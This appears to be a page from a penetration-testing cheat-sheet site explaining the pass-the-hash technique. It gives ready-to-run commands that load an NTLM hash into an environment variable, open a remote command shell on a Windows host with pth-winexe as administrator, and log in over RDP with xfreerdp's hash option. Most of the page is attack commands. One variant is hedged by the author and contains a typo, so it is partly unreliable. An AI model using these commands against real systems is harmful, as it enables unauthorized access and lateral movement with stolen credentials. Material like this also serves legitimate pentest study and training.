> For the complete documentation index, see [llms.txt](https://infosecsanyam261.gitbook.io/tryharder/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://infosecsanyam261.gitbook.io/tryharder/brute-force/reuse-the-hash.md).

# Reuse the hash

Pass the hash (PTH) is a technique that lets the user authenticate by using a valid username and the hash, instead of the unhashed password. So if you have gotten a hold of a hash you might be able to use that hash against another system.

Pass the hash is a suite of different tools.

### SMB <a href="#smb" id="smb"></a>

So in order to use pass the hash we first need to put the hash in a env variable using the export command:

So we will atuhenticate against a smb-service.

```
export SMBHASH=aad3b435b51404eeaad3b435b51404ee:6F403D3166024568403A94C3A6561896
```

```
pth-winexe -U administrator //192.168.1.101 cmd
```

I think you can run it like this too:

```
pth-winexe -U admin/hash:has //192.168.0.101 cmd
```

### Remote Desktop <a href="#remote-desktop" id="remote-desktop"></a>

```
apt-get update
apt-get install freerdp-x11
```

```
xfreerdp /u:admin /d:win7 /pth:hash:hash /v:192.168.1.101
```